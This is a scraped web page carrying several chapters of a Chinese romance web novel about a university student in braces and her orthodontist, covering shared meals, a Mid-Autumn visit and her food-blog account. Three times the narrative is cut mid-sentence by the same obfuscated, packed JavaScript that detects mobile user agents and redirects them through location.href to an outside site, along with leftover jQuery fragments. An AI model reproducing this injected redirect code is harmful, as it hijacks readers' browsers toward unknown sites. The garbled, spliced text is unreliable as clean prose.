“啊?”陈心一愣,这聊天思维也太跳跃了,但还是立马从包里掏出了这把与使用年龄严重不符的剪刀,像是拿了块烫手山芋一样,迅速抛给梁决。 “忘了说,拿给你之前,已经提前清洗过了。”梁决从保护壳里取出剪刀,先对着空气试剪了两下,然后夹起盘里的一片卤水豆腐,先竖着剪成一厘米左右的长条,又横着剪了几下,他握着浅蓝色的刀柄,就像握着某个手术器械,有条不紊,冷静克制。 “看明白了吗?你回头就把从食堂买的饭简单处理一下,我记着馨园有几个窗口的菜还不错,有足够的营养也有利于牙齿的移动。”梁决抽了张纸把刀刃擦了擦,然后装回保护盒里,重新递给陈心。 “嗯,那……我先尝尝这个。”陈心拿起筷子夹了一小块豆腐丁放进嘴里,先用后槽牙试着咬了几下,然后借助舌头和上膛的力量碾碎,最后就着一口温热的粥咽了下去。 “还可以吧?”梁决在等她的反馈。 “有点费劲,我回去再习惯一下,你也快吃吧。”陈心一时间还没从这突如其来的体贴中缓过来,毕竟上一次有人给她提供这种“饭来张口”的服务,已经是小时候了,而且那人还是许夏,她亲妈。 一顿饭让人吃得脸红心跳,而始作俑者却看起来云淡风轻。 陈心暗自腹诽,医生的心理素质都这么强的吗?简直是上得厅堂下得厨房啊! 回去的路上,两个人有一搭无一搭地闲聊,不外乎是戴牙套的注意事项和珍惜校园生活之类的,其间,陈心注意到梁决时不时地划拉两下手机,这才又想起来迎新晚会上台下观众加他微信的盛况,心里那点儿膨胀的雀跃感又瘪了下去。 走到校门口的时候,陈心停下,从梁决手里接过自己的小西装,开口说:“梁医生,不用送我了,你也快回吧,明天还要上班呢。” “好,来的时候校园里有段路,路灯不好,你等会把手电打开。”梁决又嘱咐了句,然后看着她往学校里走了一会,才转身离开。 陈心走到宿舍楼下的时候,看了眼手机还不到十点,没到查寝的时间。 不过想着时间不早了,她推门进宿舍的动作格外小心,谁知道门刚一打开,接着围上来三员大将,可谓目光灼灼、气势汹汹。 “今天晚上坐你旁边的那个帅哥,你是不是认识他?”乔艺第一个出招。 “我们可看见他和你说了好几句话!”林梦紧跟着补刀。 “还有,最重要的一个问题,你怎么现在才回来?”刘文文倒像是真的比较担心她。 陈心觉得这下是瞒过去了,仿佛也没什么好瞒的,于是拖了把椅子往宿舍中间一坐,慢悠悠地开口了—— “各位客官,急什么?欲知前因后果,听我给您分解。” *梁决内心os:郑重声明,本人单身,本人单身,本人单身(重要的事情说三遍)谢谢关心! 陈心内心os:嘀嘀!梁医生答应请吃烧烤,备忘录+1。 11. 第 11 章 其实,事情的来龙去脉两三句就交代完了。 先是陈心去正畸科看牙,接诊她的医生是梁决,再有梁决是T大毕业的,所以俩人在迎新晚会上碰到了。至于她为什么晚归,是因为梁决提出和她交流病情,并且给了她一把辅食剪。说到这,陈心还从口袋里掏出来那把剪刀晃了晃,表明自己没说假话。 “就这?”乔艺感觉意犹未尽。 “不然你还想听什么?” “不对不对——我想起来了!”乔艺猛地一拍手,“你戴牙套的那天,我从正畸科看见了一个帅哥医生,我当时还问你他是谁,你说不知道,陈心,这个怎么解释?” “啊……这个,我当时又不知道你说的是谁,再说了,正畸科又不是只有他一个帅哥。”陈心着实没想到乔艺的记性这么好,胡扯了几句,企图蒙混过关。 “可今天一见,他真的!哎陈心,你看我牙是不是也不太整齐,要不我也去挂梁医生的号,找他整个牙?”林梦一边说着,一边凑到镜子前扒拉着嘴观察。 “林梦,醒醒!”刘文文有点看不下去了,一把把她薅回了座位上。 “对啊,冲动是魔鬼,林梦,而且看病讲的是医生的技术,他、他长得帅有什么用?对吧……”陈心开始胡言乱语,但为了阻止室友的上头行为,她只能硬着头皮往下说,“对了,乔艺可以作证!上次我去粘牙套,她从外面都等烦了,所以听我劝,你要真动了整牙的心,还是得找年龄大、有经验的医生,这个梁医生不靠谱。” 那边,梁决打了个喷嚏,还不知道自己的风评被害,起身把飘窗的窗户关小了点,又继续坐回去看书。 梁决家的布置很简单,除了必需的生活用品,基本没什么杂物,一是因为房子本身是租的,他不打算投入过多精力财力去搞装修,二是因为他大部分时间都奉献给了医院,下班回来顶多就是看看书、睡个觉,与其说这是他家,不如说是个宽敞的单身宿舍。 手机震动了下,梁决拿起来看,是程烨的消息。 “梁子,还欠我一顿饭呢,从哪儿吃?” 梁决这才想起来前几天他在微信上答应了要请客吃饭,琢磨了下,在屏幕上敲了几个字发过去:“老地方,怎么样?” “成,咱俩想一块去了。” “好,周六中午见。” 梁决放下手机,也没再拿起手边的书,就这么倚着飘窗的墙壁看向窗外,快到九月下旬了,T市的夏天即将过去,不知道秋天什么时候来,今年能不能持续的时间长一点,梁决喜欢秋天,不冷不热的,是个让人感到内心舒缓的季节,反正他挺期待的。 周六中午,梁决穿了件轻薄的开衫,挑了副不花哨的墨镜,看着时间差不多了就往老孙粥铺溜达着去了。 “梁子。”身后有人喊他,梁决扭头一看,程烨坐在车里,降了半个车窗,伸出手给他打招呼。 “你换车了?”梁决扫了一眼车标,又打量了一下车身,“看起来诊所收入不错?” “你少来,诊所挣不挣钱,你不比我清楚?” 得,这是又开始调侃他放着家业不继承,非要跑出来受罪,梁决没接这个话茬儿,好心提醒道:“后面的车该有意见了,赶紧找地儿停车去。” “得嘞。”程烨踩了油门,不再叨叨他了。 几分钟后,老孙粥铺。 梁决撩了门帘进去,店里人竟然不多,老孙坐在收银台后面听着广播,梁决走近了喊了一声:“孙叔”。 “哎?小梁,这,小程也来了?”老孙把老花镜一摘,站起来认人,“今天怎么哥俩一块来了?” “这不是听梁子说您老是念叨我,可不得抓紧来嘛!”程烨走上前,胳膊肘撑在柜台上,一点也不和老孙生分。 “臭小子,数你嘴甜,想吃点什么?” “听见没,孙叔问你呢,吃什么?”程烨转头看着梁决。 “海鲜砂锅粥,再来份油条,切段。” “我和你一样。”程烨图省事,转头扫码付了两个人的钱。 等粥好了,程烨抢着去端,刚接住托盘转身要走,老孙压低了声音,拉住他神神秘秘地说:“小程啊,等会你问问小梁,他昨天可是带了个姑娘来我这吃的宵夜,不过俩人看起来客客气气的,感觉不太熟。” “嚯,是吗?”程烨眼睛一亮,小声回了句,“孙叔,您这找对人了,包我身上。” 程烨端着托盘来到桌前,煞有介事地说道:“先生,您的餐齐了,祝您用餐愉快。” “没事吧你?”梁决没抬眼看他,清了清桌面,把粥小心端出来,“好好说话。” “你找女朋友了?”程烨坐下后,直截了当地问。 “?”梁决眼皮跳了一下,心道这两天是怎么了,昨天晚上陈心也向他提出了这个问题,他很像有女朋友的人吗? “快说!是不是?”程烨从桌子下面踢了他一脚。 “是是是,行了吧。”梁决舀了一碗粥放在手边,然后看向程烨,眼神复杂。 “谁啊谁啊?你这说话怎么还跟挤牙膏似的,费劲!” “你。”梁决不假思索地给了答案,一想起来陈心误以为程烨就是自己的女朋友,不禁觉得好笑。 “不是,梁子,你这哪跟哪啊?” “既然不是,那就别问了,吃饭。”梁决显然不想满足他的好奇心。 何况,梁决确实没有女朋友。 程烨看他三缄其口的样子,也没了追问下去的劲头儿,转而看向一锅食材丰盛的海鲜粥,感叹道:“哎——唯爱与美食不可辜负啊。” 吃完午饭,两个人又绕着T大转了几圈,边走边聊,程烨笑话梁决没几个病人,梁决看不上程烨只想着挣钱,两个人谁也说不服谁,倒也不打算把对方说服。 一人一个活法儿,也没什么好比较的,坚持自己认为对的就是了。 * 新的一周,陈心早上醒来刷牙的时候,发现牙齿确实不怎么疼了,但酸软的感觉还是很明显。 她从食堂拎了一杯粥去教室,这节课是包小玲的网络传播学,包老师提醒讲台下面坐着的各位同学不要忘了开学第一课布置的作业——运营一个自媒体账号。 说到运营账号,乔艺和林梦已经打定主意做美妆博主,前几天网购了一批平价口红,打算第一期推出学生党爱用的口红测评,刘文文那边本来想搞个运动系穿搭的账号,但后来一想购置衣服也是笔不小的支出,加上之前篮球比赛的契机,她打算做一个篮球技巧分享的账号。 这么一看,宿舍里就只差陈心还没有着落,虽然几位室友都有拉她入伙的想法,但陈心兴趣缺缺,只表示可以友情参与搭把手,说到底她还是想运营一个自己的账号。 事已至此,先吃饭吧。 中午的时候,陈心从食堂打包了一份双蛋肠粉回宿舍,刚要动筷子,想起来梁决给她的那把辅食剪,于是从书架边上的收纳筐里翻出来,上次用过后已经洗干净了,盒子一打开,只残留了很淡的餐洗净的柠檬味儿。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984602|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 打开泡沫饭盒,肠粉晶莹剔透,里面包裹着几颗Q弹的虾仁,陈心拿着辅食剪横着来了那么几下,又把虾仁挑出来多剪了几刀,看起来已经没有咀嚼难度后,抽了张纸巾把陶瓷刀刃擦拭干净。 她没急着动筷子,先拿起手机拍了一张,然后发给了梁决,还附了一句:“梁医生,剪刀已用上,还没给你说声谢谢。” “不客气,饭后注意刷牙。”梁决回得很快,也回得很公事公办,陈心撇了撇嘴,没再回他。 等她重新拿起筷子,正准备享用美味,脑子里突然来了灵感,关于包老师布置的账号运营作业,干脆就记录箍牙期间的饮食好了。 名字嘛,就叫——陈小姐的整牙日记,专注于分享每天的饮食和正畸好物,主打一个和互联网上的钢牙姐妹报团取暖,一起等待牙套毕业的那天。 既然有了想法,陈心立马又拿起手机对着桌上的肠粉一通连拍,她打算帖子的第一条就介绍肠粉和辅食剪,说不定辅食剪的店家还能给她打点广告费…… 午饭后,陈心也没爬到床上午休,一直坐在下面闷着头捣鼓电脑,先要申请账号,然后按要求填写个人信息,乔艺路过她的时候问了一嘴:“陈心,你也不用这么发愤图强吧?” “啊?”陈心挪了下椅子,让乔艺过来看,“我想到做什么账号了,就做牙套日常的记录,现在需要先从平台上注册,你看它这要填的内容还挺多呢。” “不是吧,你这效率也太高了!不行,我和林梦也要抓紧开始了,到时候咱们几个都互关啊!” “互关互关,必须的。” 陈心利用午休的时间正式开通了账号,下午上课的时候,偷偷用手机把肠粉的照片修了修,接着又开始构思晚饭吃什么,她感觉自己找到了一件挺有意思的事。 如果能把这个账号坚持运营下去,即便没有获得很多人的关注,那也会是一件很了不起的事吧。 陈心的晚饭是食堂一楼的麻将拌面,煮好的鲜面条过一遍冷水,然后浇上麻将汁、醋汁等调料,陈心不爱吃香菜,就让师傅多给他加了一点黄瓜丝。 回了宿舍,依旧是先用辅食剪把面条剪碎,然后找角度拍照,好在现在的天气也不担心饭会凉,更何况陈心买的还是凉拌面。 吃过饭后,陈心登录“陈小姐整牙日记”的账号,编辑发布了第一条帖子—— “牙套人的一天吃什么?爽滑虾仁肠粉+浓郁麻酱拌面,给T大食堂打call!#正畸#干饭#T大” 配图放了三张,一张是肠粉,一张是拌面,中间的C位给了那把浅蓝色的辅食剪,还P上了四个大字“干饭搭子”。 点了发送后,陈心立马把帖子转到了羊家族的微信群里,让室友们去点点关注和红心,然后又转发到了“老陈家”微信群,请群里的长辈小辈来支持她的家庭作业。 当然她还私发给了小姨许秋,许秋借着这个话头儿,喊她过两天中秋节来家里吃饭,陈心应了下来。 还有一个人,陈心有点犹豫,但还是点开了和他的聊天框,手指在发送键上悬空了一会,眼神瞟到上一次聊天结束时,这个人说的话—— “不客气,饭后注意刷牙。” 平静中带着疏远,疏远中透着敷衍。 陈心盯着看了一会,这时屏幕忽然熄灭了,算了,就当是天意,她顺势把手机扔到了一边。 *梁决内心os:啊!?我又做错了什么??? 陈心内心os:祝我早日成为百万粉丝博主! 12. 第 12 章 临近中秋,科室里下了通知说去领节日福利,也不用猜,每年都是两提T市本地牌子的月饼礼盒。 “梁医生,月饼一块给你捎过来了,搁哪儿?” 隔壁诊室的医生推了个小拖车站在门口问,拖车上摞了得有半米高的月饼礼盒,看样子是把整个科室的职工福利一并领来了。 “哦好,帮我放休息室吧,谢了。” 梁决正给患者面诊,腾不出空来,只好麻烦同事把月饼放到走廊尽头的医生休息室。 不知道是不是迎新晚会的那波广告奏效,梁决这几天的门诊量陡增,一个号接着一个号,从叫号系统里能看出来大部分是T大的学生,自然也是女同学居多。 他从早上来了诊室忙得连口水都没喝,更别提离开诊室去上厕所了,等中午送走最后一个患者赶到食堂,打菜的窗口就只剩一些残汤剩饭,梁决看了两眼也没有胃口,买了两个包子回去啃。 “小梁,中午就吃这个啊?”走廊上,方主任碰见他刚上楼梯,就停下来和他寒暄了一句。 “哦,方老师好,去得有点晚了。”梁决解释了句。 “这样可不行啊,你才刚上班,这人是铁饭是钢,吃饭可不能凑活,得一开始就养个好习惯。”方主任面色严肃,责备是一方面,主要也是心疼自己带的学生。 方主任,全名方静,是T大口腔医院正畸科副主任医师,梁决从规培开始就在她手底下干活,两个人亦师亦友,算上许秋,仨人师出同门,都是穆济远的学生。 “知道了,让方老师担心了,我回头一定注意。”梁决这是听到心里去了,再说不出什么来,他愿意留在T市,留在T大口腔,也是因为同门之间的互相照拂,真心可贵,他很珍惜这份情谊。 休息室里,梁决吃过饭,脱下白大褂搭在椅子背上,然后躺在一张简易的折叠床上休息,翻来覆去换了好几个姿势,他还是觉得不得劲。按理说,中午医院里没什么人,走廊里也安静,应该能睡个好觉的。 大概还是因为这两天患者多,不适应,梁决这么安慰自己。 另一边,陈心的账号运营步入正轨,连续更新了几天,粉丝涨了十几个,她觉得自己这回不是三分钟热度。 “陈小姐,今天打算吃什么?”下了课,林梦一边收拾东西,一边直呼陈心的网名,“咱们羊家族好长时间没聚餐了,上次一块吃饭还是……王哥烧烤。” “老鸭汤怎么样,口感软烂,贴贴秋膘?”刘文文给了个贴心的建议。 “别啊,这夏天还没过完呢,要不还是烧烤吧?陈心,你说呢?”乔艺用胳膊肘捣了几下陈心,让她赶快拿主意。 “……现在这也没啥由头啊,要不中秋节咱们去商场逛逛,顺便吃点好的?”陈心一时也没什么想法,给了个缓兵之计。 “哎也行,中秋吧,不就后天,咱们到时候先去看个电影,然后再去吃大餐!”林梦觉得这个建议不错,已经在规划中秋的安排了。 * 中秋假期第一天,陈心按照约定来小姨家吃饭,还带了几个T大的定制款月饼。 饭菜上桌,许秋解了围裙坐下来,先关心了陈心学业,又仔细问了问她牙齿的情况,倒不是对梁决的水平不放心,只是这事关系到自己的外甥女,总是难免要多操心。 “今天做的都是软乎的菜,敞开吃,对了,下次复诊是什么时候?”许秋给陈心夹了一个软炸虾仁,虾仁裹着金黄色的面衣,看起来炸得酥脆,陈心咬了一口,蛋奶香在舌尖散开,竟是恰到好处的松软。 “谢谢小姨,小姨对我最好了!”自从戴了牙套,陈心吃饭小心翼翼,就这嘴里还磨破了好几个地方,“哦对,梁医生说国庆节后找他复诊,还早呢。” “那就好,你感觉小梁怎么样?” “啊?我、我能有什么感觉啊……”陈心下意识地想歪了,一时间支吾起来。 “你怎么没有感觉?”许秋舀了一勺肉沫茄子浇在米饭上,没注意到她脸上的不自然,“小梁的实操能力很不错,之前我们口院每年都办鸡蛋雕花技能大赛,小梁蝉联了好几届的一等奖呢,大家都说他是临床的好苗子。” “鸡蛋雕花?” “对啊,就是在鸡蛋壳上雕刻,这当牙科医生讲究一个手上功夫,稳准狠,干净利落,既能手到病除,也能让患者少受罪,有些医生空有理论,一到临床就傻眼,患者还好好躺着呢,他自个心态先崩了。” 听着许秋娓娓道来,陈心脑海里想象着梁决在T大风光无两的样子,同辈的学习榜样,导师的得意门生,甚至毕业了还会被邀请来在迎新晚会上做演讲。 梁决啊梁决,陈心在心里念叨,你也是挺绝的。 忽然,门铃响了,许秋放下筷子去开门。 “师姐,中秋节快乐。”门外传来一道熟悉的声音。 “正说你呢,进来坐,吃饭了吗?” 陈心一听要来人,出于礼貌,立马从饭桌上起身,可刚往客厅的方向走了两步,顿时愣住了。 眼前站着的不是别人,而是她刚才还在腹诽“很绝”的人。 “陈心也在?”梁决一抬头看见她,显然也愣了一下,但很快面色恢复如常,率先开口问。 “啊对,梁医生好……”陈心别扭地摆了摆手,算是打了声招呼,“我来小姨家吃饭来着,那个……屋里坐?” “对啊,坐坐坐,都别傻站着了。”许秋关了门过来,拍着梁决的肩膀让他往客厅去。 就这么前呼后拥着,梁决进了家门,想起来自己手上还拎着盒月饼,连忙说道:“师姐,医院发的月饼,我自己一个人也吃不了,就给你带了一盒,别嫌弃。” “我高兴还来不及呢!对了,陈心也带了月饼,等会各切一块,一起尝尝。”说着,许秋转身进了厨房,出来时手里拿了一套碗筷,“小梁,午饭从这吃?我们也才刚动筷子。” “这……”梁决确实还没吃午饭,他上午去医院加了会儿班,走的时候顺道从休息室拎上月饼,想着先给师姐送下,然后自己上楼点个外卖,没承想现在盛情难却,只好巧言道,“谢谢师姐,我来得真是时候,就不和师姐客气了。” 陈心站在边上,一度觉得自己是个局外人,她左看一眼小姨,右看一眼梁决,简直要被眼前的同门情谊感动到涕泗横流,心道梁医生这不也知道悦耳的话怎么说,怎么对自己就这么冷漠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984603|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话间,三个人重新坐下,梁决和陈心坐在同侧,许秋坐在两人的对面。 陈心刚一拿起筷子,另外两人几乎同时出声问道: “怎么没用辅食剪?” “刚才是不是忘拍照了?” 一时间,陈心竟不知道先回答谁的问题好,尴尬地咽了下嗓子,解释道:“梁医生,你看,我小姨做的菜都挺好嚼的,而且我的牙也不太疼了,辅食剪在宿舍放着用,拿来拿去的也不方便。” 陈心瞟了一眼梁决,莫名有一些心虚,接着回答许秋的问题,“小姨,我这不是看到你做的大餐,一激动给忘了嘛,现在拍也来得及。”说完,陈心拿起手机给桌上的菜挨个儿拍照。 “对了,小梁你关注了嘛,陈心开了个账号,每天从上面发她吃的东西。”许秋趁着她拍照的功夫,一边给梁决科普,一边拿起手机找了起来,“就这个,我两天没看粉丝又涨了呢。” “陈小姐的整牙日记?”梁决看了一眼屏幕上的账号ID,然后视线滑向陈心,一字一顿地念了出来,语气带着点儿探究的意味。 “啊哈哈对,我刚开通没几天,当时想请你关注来着,但怕你们医生工作忙,根本没时间刷这些闹着玩儿的东西……”感受到身侧投来的目光,陈心只能目不斜视,音量却是越来越低。 “这点时间还是有的。”梁决扭过头来没再看她,朝许秋开口道,“师姐,转给我吧,回头我也关注上。” “就是就是,给我们陈心涨个粉丝。”许秋脸上挂着笑,把桌上的盘子往两人跟前凑了凑,“吃饭吃饭,尝尝我的手艺。” 饭后,陈心端坐在沙发的一头,梁决坐在沙发的另一头,两个人无言地刷着手机,直到许秋端着切好的月饼过来,才打破了这份平静。 “这……我能吃吗?”陈心非常自觉地看向梁决,甚至忽略了小姨也是教口腔医学的老师。 “吃这个吧,少吃点儿。”梁决把豆沙馅儿的月饼推给她,然后自己叉了一块旁边的五仁月饼搁到嘴里。 “好甜啊,现在的月饼怎么越来越难吃了……”陈心以为自己是小声嘀咕,其实声音进了梁决的耳朵。 确实甜了些。 “来,漱漱口。”梁决从茶几上倒了杯水递过来,动作自然地就像在自己家,还不忘叮嘱道,“回宿舍了再好好刷牙。” “嗯。”陈心点头。 许秋从旁边看着两人,竟觉得自己有点插不上话儿,梁决是陈心的医生,又有一层师姐外甥女的关系在,能随时交代一些正畸注意事项再好不过,但她又觉得哪里怪怪的,还得再观察观察。 看着茶几上的月饼吃光了,梁决喝了口水,想着久留也不太礼貌,便主动提了告辞。 陈心见状,想起来自己还和室友约了去看电影吃大餐,估摸着回宿舍还得化个妆,也从沙发上站起来要走,于是,俩人前后脚地离开了许秋家。 只是,这门一关上,陈心正要顺着楼梯向下走,却见梁决抬腿向上迈。 她没忍住,问了一声: “你住这儿?” *梁决内心os:确实很甜,我说月饼。 许秋内心os:不对劲,这不对劲…… 13. 第 13 章 梁决闻声,停下脚,回身看她。 这一幕,似曾相识。 八月份,他自驾回T市,晚上从程烨家回来,差不多站在比现在高几个台阶的位置,当时楼下住户的门开了又关上,走出来一个顶着丸子头的女孩,楼栋灯光昏暗,没等他看清,女孩就顺楼梯而下,没了人影。 此刻,记忆里的画面与现实重合,梁决恍然,原来那天他遇见了陈心两次,一次是在高速上,另一次就是在这个楼栋里。 世界上真有这么巧的事情吗? 他脸上浮现出一丝不易察觉的笑意,直到耳边响起陈心的另一个问题—— “梁医生,所以之前我在楼下看到的那辆牧马人,是你的?” “没错。” 听到这个简短的回答,陈心微微怔住,还真是有缘千里来相会,她本以为自己的正畸医生是梁决已经足够巧合,没想到在她遇见梁决的第一天,就暗示了他们之后还会再次遇见。 世界上真有这么巧的事情啊! 不算宽敞的楼道里,两个人各怀心事,直到有风从窗户里穿过,带走空气里若有若无的缱绻遐思。 “账号我会关注的。”梁决突然开口,“还有,回去好好刷牙。” “嗯,知道了。” “我走了。”梁决转身,伸手搭上楼梯扶手。 “哎等等,梁医生。” “怎么了?” “祝你……中秋快乐……”陈心两手背在身后,含糊着说道。 “嗯,中秋快乐。” * 陈心不知道自己是怎么回T大的。 好像是从许秋家的楼梯上噔噔噔跑下来,然后快速地走出教师之家,再然后就来到了宿舍楼下,一路上她都没敢回头看,只是揣着一颗慌乱的心逃了回来。 宿舍里,乔艺和林梦已经在描眉画眼,刘文文借她俩的定型喷雾往额前的头发上喷了两下,仨人看她回来只是催了两句,在熟悉的环境里,陈心的内心才逐渐平静下来。 半小时后,四个人坐上地铁,目的地是T市的一家商业综合体,吃喝玩乐一站式解决。 到了之后,她们直奔商场四楼的影院,踩着放映时间从自助机取了票。 巨幕厅里,光线已经暗了,刘文文弯着腰走在前面带路,她们选的是中间靠后的座位,正好可以平视电影院的幕布。 坐下后,影片刚好开始,这是一部时隔多年在内地重映的外国爱情电影,前期宣传也是围绕着怀旧经典的话题造势。 影片讲述了一对因为战乱而走散的情侣在暮年重逢的故事,再相逢时,两个人脸上的错愕多于欣喜,往事随风,青春已逝,各自身边已经有了可以共度余生的那个人。 因为是重映,所以陈心对影片的情节并不陌生,但随着年龄增长,她对影片中男女主的感情有了不同的看法。 之前,她身陷在男女主未得圆满的爱情中难以自拔,为之唏嘘,为之感伤,还在影片的评论区留言:“为什么不能和最爱的人在一起?” 而现在,她发现自己有失偏颇,在无意识地美化一段充满遗憾的感情的同时,反而忽略了那个往后岁月里一直陪伴在男女主身边的眼前人,这是先入为主的心理在作祟,爱情或许有先来后到,但先来的不一定能长相厮守。 直到放映结束,电影院的灯光亮起,陈心停止了对人类情感的思考。 从电影院走出来,几个人没再谈论电影情节,而是搭乘直梯去了商场B1的美食集市,比起人均百元的餐厅,价格实惠的小吃快餐更得学生青睐。 正值中午用餐高峰,集市里的各个档口都挤满了人,陈心和舍友两两挽着胳膊以免被旁人冲散,这边是诱人的麻辣香锅,那边是浓郁的咖喱蛋包饭,四个人各自选上一两样,即可凑出一桌满汉全席般的盛宴。 转了一圈后,四个人分了工,刘文文在一处即将用餐完毕的餐桌前蹲守,陈心和乔艺负责去点餐,林梦拿餐具和纸巾,然后机动等待窗口的叫号取餐。 十来分钟后,四个人终于坐定,陈心这次没有忘记拿手机拍照,镜头画面的中间位置,四份天南海北的美食凑在一起——海南鸡饭、南昌拌粉、东北麻辣烫、新疆炒米粉,周围还点缀了几份特色小吃,香气与锅气混合,足以勾人味蕾。 大快朵颐之后,伴随着饱腹感而来的,还有晚餐过于丰盛的罪恶感,回T大的地铁上,她们提前了一站下车,溜达着回了学校。 九月下旬,暑气渐消,T市道路两旁的树木还算繁茂,八点刚过,夜色笼罩,越往学校的方向走,越是感到人声热闹,这些尚未踏入社会的年轻人,总是不知疲倦。 到了宿舍,陈心立即在账号上编辑好了今天的帖子内容,既有小姨烹饪的爱心大餐,又有羊家族的聚餐,挑来选去,九图竟然还有点搁不下,她附了一句文案写道:中秋佳节,吃嘛嘛香。 * 中秋假期后,新的工作日开启。 梁决倒是没有什么节后上班综合症,因为他假期往医院跑了好几趟,一待就是大半天,可算是把手头的病例都处理完了。 今天他出门诊,第一件事就是联系患者,和他们约好来听矫正方案的时间。 梁决的患者群里有十来个人,大部分是带孩子来看牙的家长,平时在群里问问孩子出现的牙齿情况是不是正常的,梁决看见了就会回复,偶尔也往群里转发一些爱牙的知识,他这么做也算是积极响应医院的要求,适当维护患者群,打造医生的良好口碑。 上午快下班的时候,他收到许秋的微信:“小梁,月底哪天有空?穆老师这就退休了,喊咱们聚聚吃个饭,我问了方静师姐,你去通知一下小程。” 梁决看了一眼桌上的坐诊排班,月底他有两天的空当儿,转而去问程烨的情况,很快确定了之后,他给许秋回了消息:“师姐,我29、30号ok,烨子都行,他能调班。” “好,再看看其他人的时间。” 聊天结束,梁决刚要放下手机,视线不经意扫到上一次的聊天内容,这才突然意识到自己还没关注陈心的账号。 随即,他从许秋前几天转给他的链接点进去,页面加载了一会,显示出来的正是“陈小姐的整牙日记”的账号内容,他先点上了关注,然后逐条划动着往下看。 帖子内容朴实无华,基本上都是食物的照片,偶尔可以从配文里窥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984604|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探到陈心的心情起伏,比如,昨天更新的一条,她连续使用了三个感叹号,愤愤地写道:“救命!为什么要有口腔溃疡这样的人间疾苦!!!” 梁决嘴角噙笑,仿佛能想象出陈心当时的情态,他拉开左手边的抽屉,从里面摸了摸,找出来一盒正畸蜡摆到桌上,但想了想又放了回去,在那条帖子下面留言:“可以试试正畸蜡,减少牙套对口腔黏膜的磨损。” 除了这条帖子,梁决又针对陈心的其他牢骚提出了建设性意见,比如,她吐槽菜叶子会挂在钢丝上,他建议买个冲牙器;她怀疑冰镇酸梅汁对牙套不好,他建议用吸管喝饮料;她抱怨托槽侧面总是刷不干净,他建议使用间隙刷。 想患者所想,急患者所急。如果梁决的诊后服务排第二的话,那就没有人敢排第一。 这天晚上,陈心登录账号更是被吓了一跳,一开始她看着后台的未读消息数,还以为自己蹭上了什么热度,或者惹到了什么人,结果战战兢兢点进去一看,留言竟是来自同一个ID,且留言内容可以说是关怀备至,然而这并没有让她稍稍松口气,待仔细辨认了一下这位新粉丝的ID后,她又陷入了另一种紧张里。 Liangjue。 是的,几乎可以确定,这就是她认识的那个梁决。 她凝神盯着这个账号,昵称是姓名的拼音,头像是系统默认的图片,点进去他的账号看,毫无悬念,空空如也。 陈心禁不住去想,难道他是为了关注自己,才新注册了一个账号吗? 在这之前,陈心只是单机发帖,偶尔会有不认识的网友点个赞,但并没有什么实质的交流互动,直到此刻一条条留言的出现,她心里还是有点感动的。 看来,梁决并没有她以为的那么冷淡。 于是,秉承着“往而不来,非礼也;来而不往,亦非礼也。”的原则,陈心也一条条地回应了梁决的留言,措辞在“好的,梁医生”“梁医生,谢谢你”“收到,梁医生”之间排列组合。 回复完之后,她开始编辑今天的帖子内容,准备按下发布键的那一刻,她心里比之前多了一些被看见的期待。 隔天下课后,账号弹出了新消息提醒,陈心激动地点进去看,但留言的人不是梁决,而是几个她眼熟ID的老粉丝,她们在梁决评论过的几条帖子下面追问—— “博主博主,之前你发帖带过T大的tag,难道这个梁医生就是隔壁T大口腔医院的?” “天,这个梁医生一定是个暖男吧!对患者也太好了!” “慕了!为什么我整牙的时候就没遇到这么贴心的医生!” 当陈心还在思考要怎么回复留言,要不要暴露梁决的身份,以及粉丝运营这件事要提上日程时,屏幕上突然又弹出一条消息提示,她定睛一看,竟然来自Liangjue账号本人。 他回复道:“这位博主是我的患者,我在T大口腔正畸科,欢迎有正畸需求的朋友来面诊。” *梁决内心os:在线认领我自己,嘿嘿!但纠正评论区的网友,本人不是中央空调型暖男哈,谢谢。 陈心内心os:喂!谁允许你从我帖子下面打广告的,这边广告费结一下! 14. 第 14 章 谢师宴定在30号,许秋挑了一家口味清淡的淮扬菜,订好包间后,她把定位发给同门兄弟姐妹。 当天晚上五点半,程烨准时下班,给梁决发了条消息,表示要来医院捎上他一起赴宴,并且强调包接包送,省得他散场再叫代驾了。 T大口腔医院外,程烨坐在车里等了有一会了,正要掏手机催人,一抬眼就看见梁决从门诊楼前的三层台阶迈下,他赶紧降下车窗喊了一嗓子,梁决循声看到他,长腿大步地走过来。 开车门,矮身坐进副驾,梁决开口道:“没等太久吧?” “呵,我这等得花都谢了。”程烨开了句玩笑,车子立时启动,汇入车流,“来的时候还不堵,现在够呛了。” 下班高峰,车速快不了,等信号灯的空儿,程烨扭头上下打量梁决,几天没见,这人黑眼圈重了不少,得亏换了身休闲装,还能遮遮班味儿。 